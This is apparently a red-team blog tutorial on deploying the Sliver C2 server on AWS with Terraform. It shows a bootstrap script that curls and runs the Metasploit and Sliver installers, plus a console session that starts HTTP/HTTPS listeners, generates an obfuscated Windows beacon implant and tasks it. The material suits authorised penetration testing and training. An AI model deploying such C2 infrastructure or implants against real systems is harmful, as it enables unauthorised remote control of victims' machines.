Sliver C2: Intro
Overview⌗
The goal of this blog post is to show how to deploy sliver c2
in an automated way on AWS ec2 using Hashicorp terraform.
sliver and it’s dependencies are installed using a bash shell script. Configuration and State management tools like Chef/Ansible would be more suited for this task but that would go beyond the scope of this introductory post.
All scripts can be found on github.
Sliver is a Command and Control (C2) system made for penetration testers, red teams, and blue teams. It generates implants that can run on virtually every architecture out there, and securely manage these connections through a central server. Sliver supports multiple callback protocols including DNS, Mutual TLS (mTLS), WireGuard, and HTTP(S) to make egress simple, even when those pesky blue teams block your domains. You can even have multiple operators (players) simultaneously commanding your sliver army.
Architecture⌗
Please note: We are exposing the C2 server directly and don’t use redirectors for simplicity in this blog post.
Installation⌗
This blog post assumes that terraform and the necessary AWS credentials to deploy infrastructure is already configured.
The file main.tf
creates a AWS EC2 t2.micro instance in the default VPC in eu-central-1. Sliver is being installed using the sliverc2-bootstrap.sh
bash script using terraforms remote-exec
feature. Network access to the EC2 instance is controlled using security groups. Port 22, 80 and 443 is automatically whitelisted to the current source ip of the terraform execution environment using cloudflare’s https://icanhazip.com service (see variables.tf
). In addition, a AWS Route53 Zone gets updated with the public IP of the AWS EC2 maschine, see variables.tf
terraform {
required_providers {
aws = {
source = "hashicorp/aws"
version = "~> 4.16"
}
}
required_version = ">= 1.2.0"
}
provider "aws" {
region = "eu-central-1"
}
resource "aws_instance" "sliver-c2" {
ami = var.ami-id
instance_type = "t2.micro"
key_name = var.ssh-key-name
vpc_security_group_ids = [aws_security_group.main.id]
# Provisioning the sliver bootstrap file.
provisioner "file" {
source = "[...]/sliver-terraform/sliverc2-bootstrap.sh"
destination = "/tmp/sliverc2-bootstrap.sh"
}
# Executing the sliver bootstrap file.
# Terraform does not reccomend this method becuase Terraform state file cannot track what the scrip is provissioning
provisioner "remote-exec" {
inline = [
"chmod +x /tmp/sliverc2-bootstrap.sh",
"sudo /tmp/sliverc2-bootstrap.sh",
]
}
# Setting up the ssh connection to install sliver/msf.
connection {
type = "ssh"
host = self.public_ip
user = "ubuntu"
private_key = file(var.ssh-keyPath)
}
tags = {
Name = var.instance_name
Terraform = "true"
Environment = "dev"
}
}
resource "aws_security_group" "main" {
egress = [
{
cidr_blocks = ["0.0.0.0/0", ]
description = ""
from_port = 0
ipv6_cidr_blocks = []
prefix_list_ids = []
protocol = "-1"
security_groups = []
self = false
to_port = 0
}
]
ingress = [
{
cidr_blocks = ["${chomp(data.http.my_source_ip.body)}/32"]
description = "HTTP Access - Dynamic Source IP Update"
from_port = 80
ipv6_cidr_blocks = []
prefix_list_ids = []
protocol = "tcp"
security_groups = []
self = false
to_port = 81
},
{
cidr_blocks = ["${chomp(data.http.my_source_ip.body)}/32"]
description = "HTTPS Access - Dynamic Source IP Update"
from_port = 443
ipv6_cidr_blocks = []
prefix_list_ids = []
protocol = "tcp"
security_groups = []
self = false
to_port = 443
},
{
cidr_blocks = ["${chomp(data.http.my_source_ip.body)}/32"]
description = "SSH Access - Dynamic Source IP Update"
from_port = 22
ipv6_cidr_blocks = []
prefix_list_ids = []
protocol = "tcp"
security_groups = []
self = false
to_port = 22
}
]
}
resource "aws_route53_record" "sliverc2-record" {
zone_id = var.route53-zoneid
name = var.route53-subdomain
type = "A"
ttl = "300"
records = [aws_instance.sliver-c2.public_ip]
}
variable "ami-id" {
# Eu-Central-1 AMI ID:
#Canonical, Ubuntu, 22.04 LTS, amd64 jammy image build on 2022-06-09
default = "ami-065deacbcaac64cf2"
}
variable "ssh-key-name" {
default = "sliver-c2-terraform"
}
variable "instance_name" {
description = "Value of Name tag for the EC2 instance"
type = string
default = "sliverC2-terraform-test"
}
variable "ssh-keyPath" {
default = "sliver-c2-terraform.pem"
}
variable "route53-zoneid" {
default = "Z0727[....]]XI05F1"
}
variable "route53-subdomain" {
default = "sliverc2-2873.port9.org"
}
data "http" "my_source_ip" {
url = "https://ipv4.icanhazip.com"
}
#!/bin/bash
# sleep until instance is ready
until [[ -f /var/lib/cloud/instance/boot-finished ]]; do
sleep 1
done
apt-get update
cd /tmp
export DEBIAN_FRONTEND=noninteractive
apt-get -yq install mingw-w64
sleep 3
MSF nightly framework installer
curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall
chmod +x msfinstall
./msfinstall
sliver install:
curl https://sliver.sh/install -o sliverc2.sh
chmod +x sliverc2.sh
./sliverc2.sh
rm /tmp/msfinstall
rm /tmp/sliverc2-bootstrap.sh
rm /tmp/sliverc2.sh
rm /tmp/terraf*.sh
systemctl status sliver --no-pager
exit
cptke@redstar-os: # terraform apply
aws_instance.sliver-c2: Creating...
[...]
aws_instance.sliver-c2: Still creating... [2m10s elapsed]
aws_instance.sliver-c2 (remote-exec): '/root/sliver-client_linux' -> '/usr/local/bin/sliver'
aws_instance.sliver-c2 (remote-exec): Configuring systemd service ...
aws_instance.sliver-c2 (remote-exec): Generating operator configs ...
aws_instance.sliver-c2 (remote-exec): ● sliver.service - Sliver
aws_instance.sliver-c2 (remote-exec): Loaded: loaded (/etc/systemd/system/sliver.service;)
aws_instance.sliver-c2 (remote-exec): Active: active (running)
aws_instance.sliver-c2 (remote-exec): Main PID: 3433 (sliver-server)
aws_instance.sliver-c2 (remote-exec): Tasks: 5 (limit: 1146)
aws_instance.sliver-c2 (remote-exec): Memory: 18.2M
aws_instance.sliver-c2 (remote-exec): CPU: 79ms
aws_instance.sliver-c2 (remote-exec): CGroup: /system.slice/sliver.service
aws_instance.sliver-c2 (remote-exec): └─3433 /root/sliver-server…
aws_instance.sliver-c2: Creation complete after 2m17s [id=i-03404efcf1ca229a5]
[...]
The instance should be ready, bundled with MSF and sliver after about ~3 minutes.
Basic sliver usage:⌗
Connect to the EC2 instance using the prepared ssh key pair and interact with sliver:
- Start HTTP and HTTPS listener.
- Generate a example beacon.
- Download & execute beacon.
# sliver
Connecting to localhost:31337 ...
██████ ██▓ ██▓ ██▒ █▓▓█████ ██▀███
▒██ ▒ ▓██▒ ▓██▒▓██░ █▒▓█ ▀ ▓██ ▒ ██▒
░ ▓██▄ ▒██░ ▒██▒ ▓██ █▒░▒███ ▓██ ░▄█ ▒
▒ ██▒▒██░ ░██░ ▒██ █░░▒▓█ ▄ ▒██▀▀█▄
▒██████▒▒░██████▒░██░ ▒▀█░ ░▒████▒░██▓ ▒██▒
▒ ▒▓▒ ▒ ░░ ▒░▓ ░░▓ ░ ▐░ ░░ ▒░ ░░ ▒▓ ░▒▓░
░ ░▒ ░ ░░ ░ ▒ ░ ▒ ░ ░ ░░ ░ ░ ░ ░▒ ░ ▒░
░ ░ ░ ░ ░ ▒ ░ ░░ ░ ░░ ░
░ ░ ░ ░ ░ ░ ░ ░
All hackers gain fear
[*] Server v1.5.17 - 814670dc6d023f290fefd3e0fd7e0c420f9bb2e8
[*] Welcome to the sliver shell, please type 'help' for options
sliver > http
[*] Starting HTTP :80 listener ...
[*] Successfully started job #1
sliver > https
[*] Starting HTTPS :443 listener ...
sliver >
[*] Successfully started job #2
sliver > jobs
ID Name Protocol Port
==== ======= ========== ======
1 http tcp 80
2 https tcp 443
sliver > generate beacon --http sliverc2.port9.org
[*] Generating new windows/amd64 beacon implant binary (1m0s)
[*] Symbol obfuscation is enabled
[*] Build completed in 00:02:40
[*] Implant saved to /home/ubuntu/STILL_PACKET.exe
[*] Beacon 1e10e41e STILL_PACKET - 95.223.86.51:29425 (MSEDGEWIN10) - windows/amd64
sliver > use 1e10e41e
[*] Active beacon STILL_PACKET (1e10e41e-3d60-45df-bc6b-a0a239ad7dc8)
sliver (STILL_PACKET) > whoami
Logon ID: MSEDGEWIN10\IEUser
[*] Tasked beacon STILL_PACKET (49402002)
Architecture deployed through Terraform can be destroyed using terraform destroy
.
The next post will look into slivers features such as socks5 proxy, armory, and more. To be continued.
Further ressources:⌗
Automating Red Teaming infrastructure deployment is not a new topic, below are several interesting blog posts covering this topic in depth: